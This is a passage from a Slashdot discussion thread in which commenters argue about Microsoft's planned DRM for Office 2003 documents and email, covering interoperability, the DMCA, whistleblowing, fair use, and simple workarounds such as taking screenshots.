      Yes, they are brilliant(SP). On another note, Good News for MCSE's, MCSA's, MCP's, desktop and Network support type people, they will still be needed. AD and win2k have been lowering the TOC and need for support for the last 2 years. Now companies will still need local IT, not 50 people in India.

    7. Re:The Implications of this are Huge by SiliconEntity · · Score: 2, Informative

      It makes the chances of writing an office suite that is compatible with MS Office 2003 almost impossible. I bet the DMCA will make it illegal to reverse engineer the crypto you'll find this new IRM technology uses.

      Actually, the DMCA has explicit provisions to allow defeating copyright protection if it is for the purpose of reverse engineering. It's one of the only exceptions there is.

  60. Too Late to Help Arthur Andersen by tmundar · · Score: 1

    A DRM version of Office sure would have saved them a lot of time shredding documents.

    Tom

  61. True... by BigumD · · Score: 1

    This is true, but I guess my point is that your typical administrative assistant or end user is not going to go looking for a crack or a hack or a workaround...

    "Gee, I can't send this e-mail out. Oh well."

    While there will definately be circumvention techniques abound, and while those of us who have to use the software will use everything we've got to get around it, 99.1% of all office users will just accept it as law.

    --
    --The space between my ears was intentionally left blank--
  62. *Why* this shouldn't concern anyone on Slashdot by 0x0d0a · · Score: 5, Interesting

    Because this will undoubtedly be cracked within a month, tops. There's a good chance it's already been cracked based on the betas -- and Slashdot posting it *ensures* that every techie that didn't already know about it does.

    Heck, *I* woulda cracked it if I had a copy sitting around and had any interest in Office, just for the egg-on-your-face factor affecting Microsoft when they try selling their "strong" security to companies.

    You cannot do secure DRM in the current computing environment. *Maybe* with Palladium in place. Definitely not now.

    The only benefit I can see this giving Microsoft is a legal excuse to make their file formats *incompatible* with everyone else, and anyone else implementing support for their file formats being liable under the DMCA.

    Office is Microsoft's bread and butter, and incompatibility is the worker that brings it home each day.

    1. Re:*Why* this shouldn't concern anyone on Slashdot by Leo+Giertz · · Score: 1

      What I really hope is that someone cracks it, but doesn't release the info on it until the DRM-system has been widely adopted. Then it would cause a much bigger havoc than if the info was released now.

  63. 1$ says its trivially crackable in 2 weeks. by Unknown+Poltroon · · Score: 1

    Therefore everyone will have to buy the upgrade to office 12.

    --
    All Troll + "offtopic" mods are meta moderated as "Unfair", because you abused the system.
  64. Personally... by Kr3m3Puff · · Score: 4, Interesting

    I would welcome some version of DRM for the individual. I work for a consulting company and I have had cases where other consulting companies have taken documents that I put my blood sweat and tears into, changed a title page and then went an took work away from me, let alone co-workers who have done the same.

    We have often resorted to creating everything in Acrobat, which is somewhat limited, but I really would like more control. It would be great to give my team complete write access, but not worry about who I ship the document to.

    It is upto me then to come to agreement with my clients about how much access they have to the documentation I produce.

    --
    D.O.U.O.S.V.A.V.V.M.
    1. Re:Personally... by commodoresloat · · Score: 2, Insightful

      If you let them read the document, there is always the possibility of them copying it. If you want them to be able to read the document but not manipulate its contents, save it as a damn jpg or something. Or print it out and send it to them in the mail. DRM is not going to help you here, you're better off trying to work with people you actually trust. Also, if you wrote a doc and someone changed a title page and is making money from that document, you are protected by copyright law. Call a lawyer.

    2. Re:Personally... by infolib · · Score: 1

      I have had cases where other consulting companies have taken documents that I put my blood sweat and tears into, changed a title page and then went an took work away from me

      Why haven't you sued under copyright law?

      --
      Any sufficiently advanced libertarian utopia is indistinguishable from government.
    3. Re:Personally... by Kr3m3Puff · · Score: 1

      Suing is not an option. Long legal battles, court cases, etc. and only gives money to lawyers.

      --
      D.O.U.O.S.V.A.V.V.M.
  65. Will confuse 95% of the users by gsfprez · · Score: 3, Interesting

    NO ONE likes to lock a "softcopy" file down so that you can't suck data from it. If i want a document that i can't cut/paste data from, i print the fscking thing. The ONLY thing most people want 99% of the itme is to prevent someone from making changes to a document (such as a resume). In that case, we make PDFs... because few know how to modify them.

    The esoteric nature of this scheme - much like some of the advanced features of Outlook/Exchange will be mostly if not totally lost on all but a few ubergeeks in your typical business ... Those geeks will send out emails/Word docs which are IRM'd, and then will just frustrate the hell out of the normal users who will email back asking for a "non-fscked up" version.

    Its kinda like being the first guy to install a Service Pack from Microsoft the first day it comes out... you only do that once and have a horrible experience before you relize you better wait, only this will be much more powerful....

    the first time Joe Businessman brings a file with him on the reoad that he can't modify or can't copy data from - he'll swear to Jesus and never EVER use this "feature" again.

    In short - there are two kinds of people - people who will "get" this, and those that won't. Those that get it are either PHB's or geeks - most geeks won't want to use it or will use it to piss off the other kind of people - the normal people that won't understand how this helps them do their work.

    for most people - security is a PITA - this will only make their lives more difficult, and will have them finding work arounds if it is "mandated".

    --
    guns kill people like spoons make Rosie O'Donnell fat.
  66. So? by I+Am+The+Owl · · Score: 1

    People get more control over documents they author, corporate secrets get more secure. It's another feature that has been lacking. What's the problem?

    --

    --sdem
  67. And what about spam? by tktk · · Score: 4, Interesting
    What about when you get spam in the future? In the new Outlook would those spammers be able to restrict your permissions on their email and make it undeletable?

    Everyone would love being a repository for spam. Oh wait, we already are.

  68. Mod Parent +1, Funny by siskbc · · Score: 1
    Seriously, ideaological difference aside: Fix what's broken before you try to build new features on top of it!

    Riiiiiight....have they ever done that? Hell no! And I doubt they ever will.

    --

    -Looking for a job as a materials chemist or multivariat

  69. Permission to Delete? by bjk4 · · Score: 1

    Traditionally a lot of DRM designs call for restictions on:
    - copying
    - printing
    - saving
    - viewing beyond a certain period of time

    However, I think it is unfair that email I send to customer_support@[your_favorite].com is deleted so quickly. I should be able to tag my email so that I control when and how the message is deleted! It's my content, so as part of my license I control when it may be deleted. This contractual item ought to be backed up by digital rights management software restrictions.

    Therefore, I think it any DRM software should allow a user to restrict the following additional action:
    - deleting

  70. How to crack Office 2003 DRM by AnalogDiehard · · Score: 1

    "Save As" and change the drop-down box to "Word 97 document"?

    --
    Eternity: will that be smoking, or non-smoking? I Corinthians 6:9-10
    1. Re:How to crack Office 2003 DRM by mog · · Score: 1

      I would go for the more reliable (because who knows if they'll allow the exporting to old formats):

      Control-A, Control-C, WindowsKey-R, notepad, Control-V

      Eh?

  71. I don't get it... by LePrince · · Score: 1

    You can restrict acccess to printing to a pdf document since a while. Why are people bashing MS for this ? Because it's MS ?

    1. Re:I don't get it... by Pxtl · · Score: 1

      Mostly because it will kill interoperability with OS Office initiatives.

  72. Compatibility by be-fan · · Score: 3, Insightful

    I've been thinking of this for awhile now. I've come to the conclusion that this is (at least partly) a method to prevent the inter-operation of competing OSs. Microsoft realizes that their proprietory document format isn't going to keep vendors from interoperating, not in the long run. Open Office has already made significant strides in reading Office format documents. Breaking compatibility in the format requires breaking compatibility in their Office products as well, which isn't a suitable option. Thus, embedding DRM in the format is the ideal method. Think about these points:

    1) DRM can turn any open format, like PDF or XML, instantly into a closed format. If a competing product can't use the DRM technology, it can't read the document, even if it could do it theoretically.

    2) Embedding DRM into the document format itself makes little sense, other than for the above reason. Why not just integrate proven and time-tested encryption algorithms into Office suites? If a user wants to secure a document, they can click the "secure" button, and the office suite could encrypt the document using something like PGP. That should provide enough security for most businesses, and for those that it doesn't, well they have their own security methods anyway.

    3) In light of the first two reasons, it's quite clear that DRM in the document format can easily be used to turn open content into Windows content. This is especially true if the format defaults to something like "DRM on, no protection" in which the DRM mechanism would be enabled, but no access checks would be performed. To the clueless user, this would seem like the standard mechanism we have today, but these documents would not be viewable on platforms that do not have the DRM mechanism.

    4) To tie it all together, the DMCA provides Microsoft with a degree of legal protection. While it is perfectly legal to reverse engineer Microsoft's document formats, it probably would not be legal to break the encryption, even if it was with the purpose of gaining interoperability.

    Of course, this could be an entirely benign move on Microsoft's part. But in this day and age, and with Microsoft's track record, are you really willing to take the chance?

    --
    A deep unwavering belief is a sure sign you're missing something...
    1. Re:Compatibility by LordSah · · Score: 1

      2) Embedding DRM into the document format itself makes little sense, other than for the above reason. Why not just integrate proven and time-tested encryption algorithms into Office suites? If a user wants to secure a document, they can click the "secure" button, and the office suite could encrypt the document using something like PGP. That should provide enough security for most businesses, and for those that it doesn't, well they have their own security methods anyway.

      If I were to build DRM into an app I was writing, I would use time-tested encryption. It's easier to develop, and the security has already been scrutinized by the crypto community. If I had to bet, I would guess that Office's crypto is time-tested.

      these documents would not be viewable on platforms that do not have the DRM mechanism

      That's the point. You can't open up a PGP encrypted file unless you have PGP. You can't view secure web pages unless you have the crypto in your browser. You can't read Office DRM stuff unless you have Office.

      No one has to buy Office 2003. No one who does get Office 2003 has to use DRM. Anyone who does use the DRM is going to know that the readers of the data will need Office, and they'll be okay with that. If they weren't they wouldn't use it.

      Your complaint about it being Windows-only is bork. An Office DRM user is intending the reader of his/her document to be using Office. It's the same way that the authors of Bash are intending the user of their app to be running Unix. Or that Apple intends for OS X to be run on a Mac. It's the same as complaining that Halo won't run on your VAX.

      It's just a feature. Not a conspiracy. Not a means of taking over the world.

    2. Re:Compatibility by be-fan · · Score: 1

      That's the point. You can't open up a PGP encrypted file unless you have PGP. You can't view secure web pages unless you have the crypto in your browser. You can't read Office DRM stuff unless you have Office.
      >>>>>>
      Interface vs implementation. PGP is an interface. SSL is an interface. There are many implementations of each. Office is itself an implementation. Tying a document to an interface is a technical necessity. Tying a document to an implementation is at best a stupid design decision, and at worst a market control tactic.

      No one has to buy Office 2003. No one who does get Office 2003 has to use DRM. Anyone who does use the DRM is going to know that the readers of the data will need Office, and they'll be okay with that. If they weren't they wouldn't use it.
      >>>>>>>
      You give users far too much credit. People will buy Office 2003, if only because it's pretty much included with most computer sold at places like CompUSA. Second, if Office 2003 ships with DRM on by default (but with no access checks being performed), then they'll be using DRM whether they want to or not, because they don't know any better. It's the third point that's the kicker. Let me reiterate your statement:

      Anyone who does use the DRM is going to know that the readers of the data will need Office
      >>>>>>>>>>
      That's not true right now. Right now, there exist numerous tools to open Office documents even if you don't have Office. Office DRM would prevent that, and give Microsoft more control of the document format. *That's* why this is a dangerous "feature."

      Your complaint about it being Windows-only is bork. An Office DRM user is intending the reader of his/her document to be using Office.
      >>>>>
      Well, most users don't know that. They just use it without a second though. User's who use Office aren't clear that their being incompatible with the rest of the world. And a key thing is that they're really not. I can read an Office document in a pinch. Not in the age of Office DRM Edition.

      It's the same way that the authors of Bash are intending the user of their app to be running Unix.
      >>>>>
      No. Bash runs on everything from UNIX to MacOS to Windows. Besides, it's a program, not a document. Applications and content are inherently different.

      It's just a feature. Not a conspiracy. Not a means of taking over the world.
      >>>>>>
      If you trust Microsoft that much, then that's you're business. However, as a user of an open source OS, and as a user that cares about freedom and competition in the software market, I simply can't ignore Microsoft's track record and blindly hope for the best.

      --
      A deep unwavering belief is a sure sign you're missing something...
    3. Re:Compatibility by be-fan · · Score: 1

      Crypto is by an large open and implementable on any operating system. A properitory DRM mechanism is not.

      --
      A deep unwavering belief is a sure sign you're missing something...
  73. Hmm... by gcondon · · Score: 4, Funny

    I wonder why Microsoft is so interested in controlling access to archived emails?

    I wonder if they have had any bad experiences with this in the past?

    Just a hunch ...

  74. It's not as much about security... by AzrealAO · · Score: 1

    It's not as much about Security, as it is about Integrity of the Document.

    Manager creates stnadard boilerplate documents, with certain fields uneditable.

    Regular Users can use those documents, make changes in the sections they're allowed to make changes in and issue them to clients, or send them for storage or whatever, but cannot edit certain portions of the documents (usually done by accident, rather than intentionally).

  75. i have a question by hpavc · · Score: 1

    will this impact the people that pirate the software? seems like it basically eliminates piracy quickly.

    --
    members are seeing something, your seeing an ad
  76. Fair Use anybody? by Kwil · · Score: 1

    Somebody creates a textbook with valuable information in it. They seal it up using MS-RSM. Now you can no longer copy sections of it as specifically allowed via Constitutional Fair Use rights.

    --

    That Jesus Christ guy is getting some terrible lag... it took him 3 days to respawn! -NJ CoolBreeze

  77. First use of DMCA to protect file format by 0x0d0a · · Score: 5, Informative

    Incidently, this may be the first time someone's tried using the DMCA to enforce *file format* incompatibility. MS has done it before with copyrights (claiming that the C header files in wine used to implement Win32 were "derivative" of their own header files), with trade secrets (claiming that the "open" spec for their Kerberos modifications were protected as a "trade secret" and that no one else could implement it). It's been done before with patents (people claiming that an executable packer uses a patented algorithm). The special cases the DMCA puts into law are the only fork of IP that hasn't yet been used to try to ensure incompatibility.

    Oh, and I dunno what MS's lawyers were threatening Nullsoft with if they didn't disable their "save to WAV" feature whenever users play a WMA file in WinAmp, but that theoretically could have been patent claims, so this may be a grand slam for MS in terms of misapplying IP law to screw the consumer if they try to go with a competitor's product -- they alone will have covered the entire gamut.

    1. Re:First use of DMCA to protect file format by killthiskid · · Score: 1

      I thought a trade secret didn't have protections... thus the term 'secret'. Once the secret is out, it's out.

    2. Re:First use of DMCA to protect file format by cpt+kangarooski · · Score: 1

      Depends on the relevant law. In some states, the method by which the secret was discovered has to be proper. Industrial espionage would not be ok -- independent discovery would be.

      --
      -- This and all my posts are in the public domain. I am a lawyer. I am not your lawyer, and this is not legal advice.
    3. Re:First use of DMCA to protect file format by DEBEDb · · Score: 2, Informative

      It has protections in that the people who are made privy to the secret are made to sign agreements under which they can be sued to oblivion if they let it out.

      But nothing prevents reverse-engineering, of course...

      --

      Considered harmful.
  78. Let me guess by skintigh2 · · Score: 5, Insightful

    Software that doesn't support DRM will not be able to view these documents, and making software such as open office compatible will be a DMCA violation.

    It's all falling into place quite well. It's amazing what kind of ROI you can get on Senators.

    1. Re:Let me guess by SiliconEntity · · Score: 1

      Software that doesn't support DRM will not be able to view these documents, and making software such as open office compatible will be a DMCA violation.

      Actually, the DMCA has an explicit provision allowing reverse engineering for compatibility. You can break encryption and everything. It's one of the only exceptions in the DMCA.

    2. Re:Let me guess by moncyb · · Score: 1

      Then why was they guy who wrote DeCSS arrested?

  79. Future historians? by EvilNTUser · · Score: 1

    Like so many other posters, I agree that DRM for internal company secrets etc. is actually beneficial, but what will happen if people start putting restrictions on everything by default because they're too lazy to change settings?

    Suddenly, future historians will have lost everything from 21st century eating habits (people passing along recipies) to important governmental policies (president writes read-only letter to citizens, forgets to uncheck the "autodestruct after a year" box).

    People would have to be very careful when choosing what to limit rights on, but somehow I doubt they will. These are the same people who open attachments that end in .jpg.vbs and end up hurting themselves, so what reason is there to assume that they would care about hurting someone else 500 years from now?

    --
    My Sig: SEGV
  80. Re:to "phone home" to Microsoft by Technician · · Score: 1

    I like it.. The next virus does not have to delete your documents. All it has to do is wipe out access to the passport server. Can you say locked out of your own work?

    --
    The truth shall set you free!
  81. This may have been covered... by thebigmacd · · Score: 1

    ...but what happened to XML? I'm sure secured DRM Office 11 documents are PLAIN-TEXT STANDARD XML documents...so suuure...

  82. Acrobat has had this for years... by aquarian · · Score: 1

    I don't see what the big deal is. Acrobat files have been password-protectable for years. It's also difficult to cut and paste or edit an Acrobat file from Office-type applications, because Acrobat files are basically graphics files. It works. I and my collegues have been using it forever.

    I've never been an Office user, partly because it doesn't meet these needs. I don't know why people even buy Office, except to open Office files that others have sent. Office sucks. Just say no!

  83. If this is from a leaked document, by cgenman · · Score: 1

    then their DRM doesn't seem to be doing very well right now.

  84. just outlaw digital cameras by nicotinix · · Score: 1

    So, say I have office 2004 (which I won't) and I am reading a restricted document, which I supposedly cannot print or forward. Then I just take my digital camera, snap a picture of the screen (or two or three) and I have nice jpeg's to send around, print, post etc.

    Just outlaw digital cameras as DMCA circumvention devices.

  85. This is not so interesting. by Lethyos · · Score: 2, Insightful

    Yeah, provided the user doesn't, you know, remember it. Or print it out. Or have somebody looking over their shoulder.

    This DRM crap restricts printing. Memorization of huge documents is extremely unlikely and at the very least error-prone. Lastl, someone looking over your shoulder is not an effective means of acquiring a document. Sure, the offender could catch a glimpse of what you're looking at, but too little for too short a time.

    Yes, this will probably be a very effective mechanism for restricting access to documents. And of course, the issue for most open source advocates and users is that this will destroy interoperability. You will not be able to use K/Open/Star/Abi Office to open Microsoft Office documents.

    --
    Why bother.
    1. Re:This is not so interesting. by iabervon · · Score: 1

      Huge documents almost always have little portions which are the really incriminating bits. Heck, most people who are actually supposed to receive huge documents tend to just skim them for the important bits.

  86. How to Screw Your Little Worker Drones With DRM by MBCook · · Score: 4, Insightful
    I don't remember where I read this scenerio, I'm too lazy to look it up. I'm almost postitive that /. linked to it though. It is a simple reason why DRM is NOT good on things like documents and e-mail. Here is the idea (paraphrased):

    As a worker, your boss sends you an email asking you to destroy important documents and do other immoral, illegal, and fattening things; threating to fire you if you don't. You read the e-mail and then it automatically deletes it's self. You can't print it either because the DRM says so. So now what happens to you?

    1. You do what the e-mail says and get caught. You try to say your boss told you to do it, but because the e-mail erased it's self, and you couldn't print it out. So basically you're cought red-handed, and there is nothing but hearsay to prove that you're boss made you do it. You go down for what happened, your boss is OK.
    2. You do what the e-mail says and get away with it, but it helps the company. Your boss can say that he made you do it, or just that he did it because there is no proof of who did it; and get all the credit. You get no credit, no raise, nothing; because you can't do anything but say "I did it! It was me! Give me a raise!"
    3. You refuse to do what the e-mail says, and get fired. But since you don't have the e-mail or a printout, you can't prove that you were ordered to do whatever it said. Your boss comes up with some other reason to justify the firing, and you can't prove that he's doing it because you said no to the illegal things. You're screwed again, and your reputation is tarnished. You'll probably have a hard time getting a new job. Nothing happens to your boss.
    4. You don't do what the e-mail says and try to be a whistleblower. You'd be safe under whistleblower laws, but you have no proof because the e-mail is gone. The company sues you for wasting their time and "inventing stories" to damage them. You're looking at jail time, or fines, or whatever; and you're going to get fired. Nothing happens to your boss, except he looks sympathetic.
    5. You don't do what the e-mail says and the company gets ruined. Lots of things happen, everyone loses their job. When it comes time to tell the stockholders why, your boss produces the e-mail and says that you could have saved the company, but you didn't. Now you have tons of rich and powerfull people hating you, no job, and are in deep trouble.

    I can't wait.

    --
    Comment forecast: Bits of genius surrounded by a sea of mediocrity.
    1. Re:How to Screw Your Little Worker Drones With DRM by Anonymous Coward · · Score: 2, Insightful


      And this requires DRM how, exactly?

      Let me explain:

      Boss TELLS (verbally, no one else around) you to do bad thing.

      1. Do it, get caught, boss denies, get fired.
      2. End up great, boss takes credit, you raise a stink, he denies.
      3. Refuse, you get fired, no tape recorder? No proof. Bug Bye.
      4. Blow whistle. No proof. Get fired/Sued.
      5. You dont listen, company fails, boss tells people it's because you didn't listen.

      *shrug*

      If someone wants to fuck you over they certainly don't need office 11.

    2. Re:How to Screw Your Little Worker Drones With DRM by adrew · · Score: 1

      Simple answer: take a screenshot. It works with "protected" Acrobat documents and'll probably work with this, too.

    3. Re:How to Screw Your Little Worker Drones With DRM by LordSah · · Score: 4, Insightful

      6. As you're reading the email for the first time, you're concerned and get a digital camera. Or get some co-workers in your office to read it, and sign affidavits later. The best bet is to get both. You blow the whistle, and send the evidence you just collected.

      I imagine that a real pessimist wrote your original reference.

    4. Re:How to Screw Your Little Worker Drones With DRM by nexthec · · Score: 1

      However, This will be intergrated with other MS products, and I would bet they will disable this feature as much as possible. requiring perhaps a 3rd party piece of software, which you might not be able to run on, say a work computer. Give MS some credit, They can figure this out, and they have the ability to 'fix' this isue

    5. Re:How to Screw Your Little Worker Drones With DRM by cameldrv · · Score: 1

      They plug the analog hole. They watermark the image on your screen, and when you try to download the pictures into your palladium enabled computer, it refuses to display the image.

    6. Re:How to Screw Your Little Worker Drones With DRM by for(;;); · · Score: 1

      > You refuse to do what the e-mail says, and get
      > fired. But since you don't have the e-mail or a
      > printout, you can't prove that you were ordered to
      > do whatever it said.

      But how is this different than your boss giving you an order vocally, without sending a message through the electronic inter-techno-web? In that case, it would go back to your word against your boss', the way it used to be prior to everything being tracked. This is not legally unsolvable, it's the way it's always been except for the past decade. You've become so used to always being monitored that the idea of not having an eRecord of your doings is scary.

      DRM has shitty repercussions for the world -- because Microsoft's illegal software monopoly allows it to leverage this against competitors and standards, and because it's another tool in the War on Fair Use.

      But these nightmare-scenarios-that-aren't are just silly. Spilling coke on your keyboard will not make your Apple III superintelligent; computer viruses cannot infect you; Kevin Mitnick isn't going to summon a nuclear strike by whistling near the pay phone. You will not be framed for murder with DRM.

      --

      "Whatever happened to fair use?"
      -- Duff-Man
  87. Saw it Coming by carrier+lost · · Score: 2, Insightful


    This rather neatly allows Microsoft to avoid having to "share" details about Office document architecture with Open Office, KOffice, et al as per the anti-trust settlement with the US DOJ.


    There were exceptions to that mandate with respect to security.


    MjM


    Hitting Escape while editing is a bad habit - VI needs a foot pedal

    1. Re:Saw it Coming by perlchild · · Score: 1

      Where do we write the DOJ to order Microsoft to share source code with star office so they can write a DRM compliant-version(to minimise damage)

      p.s. the only fair settlement to the microsoft monopoly trial would have been to give office or otherwise reimburse to everyone who bought a microsoft windows license... They made money from owning both the os and the application, it's only fair they have to lose money for doing both...

    2. Re:Saw it Coming by ln+-sf+head+ass · · Score: 1
      Where do we write the DOJ to order Microsoft to share source code with star office so they can write a DRM compliant-version(to minimise damage)

      Nowhere, until an administration is elected that isn't going to take bribes and let MS off with a wrist-slap. I wouldn't hold my breath.

  88. I will never again put my faith in that company... by DaPhoenix · · Score: 2, Interesting

    Look, I've trusted MS before -- WMA Was supposedly their next 'killer app' for online distribution, so what did i do with a friend way back when it was about to debut? Start a company that would harness WMA technology to deliver unique content, in a unique manner, to Indy bands across the USA using the internet and WMA as out content distribution system. WMA promised to allow you to listen to music for a set period of time and then its license would expire and give the user the option to purchase the piece.

    Months later: distribution system already in alpha testing, VC funding on the way, patent pending technologies, WMA Cracked, technology moot. That was the day I went from Linux dabbler to Linux convert.

    See the problem was that we trusted MS and built a business around their proprietary technology, a technology that was supposedly 'uncrackable' based on the way it generated a unique id from a user's specific computer, hardware, and setup. There is no uncrackable unexploitable technology.

    While the world once again puts its faith in Microsoft's proprietary 'uncrackable' DRM, I'll be over here on my Gentoo box coding tools that will enable users to DO more rather than RESTRICT more.

    Oh and when a clever hacker cracks their DRM I'll be outside laughing and dancing in the street.

    --
    -- -=innocent ramblings from the mind of an insomniatic programmer=-
  89. When I say I use Office, by sirshannon · · Score: 1

    I actually mean "Outlook" and Word. I use Access for work purposes, VBA stuff, Excel because people send me things in that format, but for the most part, when I install Office on my PCs, it's for Outlook.

    When I installed Open Office, I was very disappointed to see no Outlook, for some reason, I thought everyone else considered Outlook to be the cornerstone of Office, like I did.

  90. Great fun for spammers by ctid · · Score: 1

    "Just reply to this message and we'll send you the password required to delete it."

    --
    Reality is defined by the maddest person in the room
  91. exactly right.... by nebenfun · · Score: 2, Funny

    you see...the word Microsoft is synonymous with evil
    pgp=pretty GOOD privacy....

    enough said...:)

    nbfn

  92. Easy way to spread documents with controls... by jonman_d · · Score: 1

    it's called a "screenshot."

  93. Just use a plain editor by 192939495969798999 · · Score: 1

    There's still a big block of text in there... just use the plain editor to read it. It'll be extra fun to read the DRM tags and say, "oh, hi there mr. privacy manager, i think i'll just scroll down... heh heh heh."
    sir_haxalot

    --
    stuff |
  94. Free equivalents to other MS Office components by yerricde · · Score: 1

    But now, with the 2000 versions, include Project/Project Server, Visio, MapPoint, Frontpage, Publisher, and the list goes on and on.

    For Project use MrProject.

    For Visio use Kivio or Dia.

    I'm not familiar with MapPoint, but it seems to be more content[1] than code, unless you count the work being done with GRASS.

    I'm not familiar with the full version of FrontPage, but for FrontPage Express use Mozilla Composer.

    For desktop publishing use one of those graphical LaTeX editors.

    [1] RMS hates the word "content", but I know of no better word to describe copyrighted works other than computer-readable descriptions of algorithms.

    --
    Will I retire or break 10K?
  95. this is a good thing, if you hate microsoft by circletimessquare · · Score: 1

    maoist technoanarchist "info wants to be free "dude says:

    microsoft is embracing restrictive ip policies.

    this will drive people to embrace open source where there are no such ip restrictions.

    everyone say: "bye bye microsoft, sorry you hitched your star to the wrong historical bet."

    i think the future of the internet and computing in general will split: those who embrace over-litigious, oppressive ip policies, and those that have none.

    ip laws and policies are getting ridiculous, in the eu, in the us, everywhere. kazaa is just an opening shot.

    i won't debate the moral correctness of thumbing your nose at ip laws, i will simply state that your average CONTROL of information distribution is moving away from the old model: companies and corporations, and moving to individuals, who aren't so bound by corporate codes of conduct.

    who cares about drm? where's my damn file?

    how the hell do you control millions of individual users and what they do with files? where is the enforcement? where is the punishment? there is none.

    it is the prisoner's dilemna writ large against the internet. those who try to exert control on files at the individual level will lose, as no one will care to get those files and their overbureacratic, overly litigious fud.

    those who provide no restrictions on their files/ programs/ music will seem their stuff widely adapted.

    and those who try to fight the piracy of their ligitimate files will be fighting individuals like trying to shovel sand away from the oncoming tide. take down 2 users, 10 more crop up. and before you can go after the new 10, they disappear and 20 more appear.

    it is impossible to control these things. microsoft: either unplug the whole damn internet, or adapt to the new world... no one likes old world restrictions placed on the internet. and the internet is widely popular in the first place simply because there are no such old world restricitons on the flow of information in it. duh! ;-P

    why is it so essential to human nature to try to control that which is useful simply because it is free? you try to control it, and its usefulness goes away in the process of you trying to control it. human weakness will not change the internet. the internet will banish human weakness and ridiculous, choking ip laws which stifle innovation instead of fostering it.

    --
    intellectual property law is philosophically incoherent. it is your moral duty to ignore it or sabotage it
  96. Re:Yes...NO! by MeNeXT · · Score: 1
    Save them as JPEG. It's about the same.

    --
    DRM? No thanks, I'll just get it somewhere else...
  97. TV-out, TV-in, OCR by yerricde · · Score: 1

    nor will you be able to print screen or screen capture because the portions of the screen containing the DRMed data will be redacted.

    Large fonts + TV-out + TV-in + OCR = Plaintext. Or are you claiming that whenever the user is viewing a restrictions-managed document, the OS will turn on Macrovision?

    --
    Will I retire or break 10K?
  98. Screen capture by yerricde · · Score: 1

    I cant save it, I can pretty much only look at it

    If you can look at it, you can save it. Even if the program disables digital screen capture (Print Screen + paste into MS Paint), that doesn't prevent me from video-capturing the signal sent to my display and then OCRing the text on the other machine.

    --
    Will I retire or break 10K?
    1. Re:Screen capture by cybercuzco · · Score: 1

      My point wasnt that there is no way around it. There have been ways around read-only since you put a little electrical tape over the cutout on a floppy disk. My point was that what MS is doing is not something new and sinister as the original article suggests. Other companies have "read only" products.

      --

  99. Read it off the monitor? by I+Am+The+Owl · · Score: 1

    It wouldn't kill you for your writing hand to get a little exercise.

    --

    --sdem
    1. Re:Read it off the monitor? by Kwil · · Score: 1

      Hey! There's an idea.. ..except, of course, when what you want to have fair use of isn't text.

      Say, a section of music, a picture, a few frames of an animation, a precise graph, or an audio clip for starters.

      Come join us in the new millenium, you'd be amazed at what people can create.

      --

      That Jesus Christ guy is getting some terrible lag... it took him 3 days to respawn! -NJ CoolBreeze

  100. Sonny Bono answered that question by yerricde · · Score: 1

    This is, incidentally, a similar issue that I have with most copy-control software, that has no provisions at all for the expiration of copyright.

    You will expire before copyrights do.

    --
    Will I retire or break 10K?
  101. Yes, but the Pentagon Papers "scandal" was. . . by kfg · · Score: 1

    a GOOD thing for the people.

    KFG

  102. Add up all the pieces by neongenesis · · Score: 1

    Lots of comments so far with bits of the puzzle. Let's put them all together.

    Microsoft Office with DRM

    DRM includes application, client and SERVER (e.g.OS) pieces

    DMCA prevents reverse engineering of protocols

    (The one no one has mentioned) Microsoft owns a patent on "A DRM Operating System"

    So it's protected, you can't break it without violating the DMCA, and if you reverse engineer it is some way that skirts the DMCA, you are violating a Microsoft patent.

    You do the Math, but I think that any ability to interoperate with Microsoft Office on a non-Microsoft-approved platform just evaporated.

    Microsoft is not as dumb as some here on /. would have you believe.

  103. PDF files already have something similar by frdmfghtr · · Score: 1

    Initial disclaimer: I read the article.

    When I use Jaws PDF creator to publish to PDF, I already have similar options: I can prevent cut-and-paste from a PDF, prevent printing, yadda yadda yadda...or allow full and unfettered access.

    THis brings up two points already mentioned: makes potential corporate crime easier to cover up by preventing "secured" documents from leaking outside to the open world and preserves copyright.

    Corporate scandals: yes, I agree with those who say this could lead to more and bigger scandals. When documents that incriminate the boardroom are protected from being read, copied, and/or printed, the temptation to get away with a little bit of "innocent embezzlement" may prove too tempting to the average Joe Officeworker who would otherwise keep to stealing pens and paperclips.

    Copyright management: if I write something and decide I don't want it copied and printed without my permission, that is my option. I could also leave it completely unfettered by IRM, allowing free use by all. Just because a feature exists doesn't mean it has to be (or will be) used.

    Now, in the interests of backwards compatibillity, I would bet good money that this feature will have the option of being disabled to allow backwards compatibility with Office 97, 2000, and 2002. If the feature can't be disabled and backwards compatibility is not maintained, then companies and individuals won't bother to upgrade to something that won't work universally. It would actually PREVENT adoption, as companies that still use the older products won't want to fork over the ca$h to upgrade all of their software at once.

    Now, off the topic somewhat...

    "Microsoft also is working on a DRM server, code-named "Tungsten," which is slated to ship initially as a Windows Server 2003 add-on later this year."

    Think Palm will raise a stink over the use of "Tungsten", the name of their latest handheld PDAs? :)

    --
    Government's idea of a balanced budget: take money from the right pocket to balance...oh who am I kidding?
  104. Sounds like the Unix Filesystem... by SporkLand · · Score: 2, Interesting

    ...The only difference is, you can set the permissions for everyone. The document can spread and you can keep those permissions in tact.

  105. Microsoft ahead of the curve again by geekee · · Score: 2, Interesting

    Once again MS has shown they are ahead of the curve when it comes to introducing new features. This is a great feature. For instance, now I can distribute documents under NDA to customers and partners without worrying about them casually distributing the info to whomever they feel like. Of course there are ways to get by the security if someone really wants to. But it stops unintentional distribution of sensitive material into the wrong hands. In a few year OSS will realize this is a good h]feature and put it in Open Office. People will still be saying that Microsoft is not innovative then too, I'm sure.

    --
    Vote for Pedro
    1. Re:Microsoft ahead of the curve again by praedor · · Score: 1

      Open the document/email, take screen shots, send to whomever I like or use in OCR app.

      --
      In Bushworld, they struggle to keep church and state separate in Iraq as they increasingly merge the two in America.
  106. I thought we could already control Docs with GPG by TheCeltic · · Score: 1

    Sounds alot like gpg to me.. with more whistles (and potential problems). I can't wait to hear from users who can't open a document... I'll just say "sorry, it can't be permissions on the server. It must be the document."

    --
    =-=-=-=-=-=-=-= - The Celtic - =-=-=-=-=-=-=-=
  107. FBI Backdoor by School+Bully2 · · Score: 1

    And presumably the FBI will want a backdoor to this, so that they can read anyone's documents or email?

    Mark.

  108. A Rock and a Hard Place by serutan · · Score: 2, Insightful

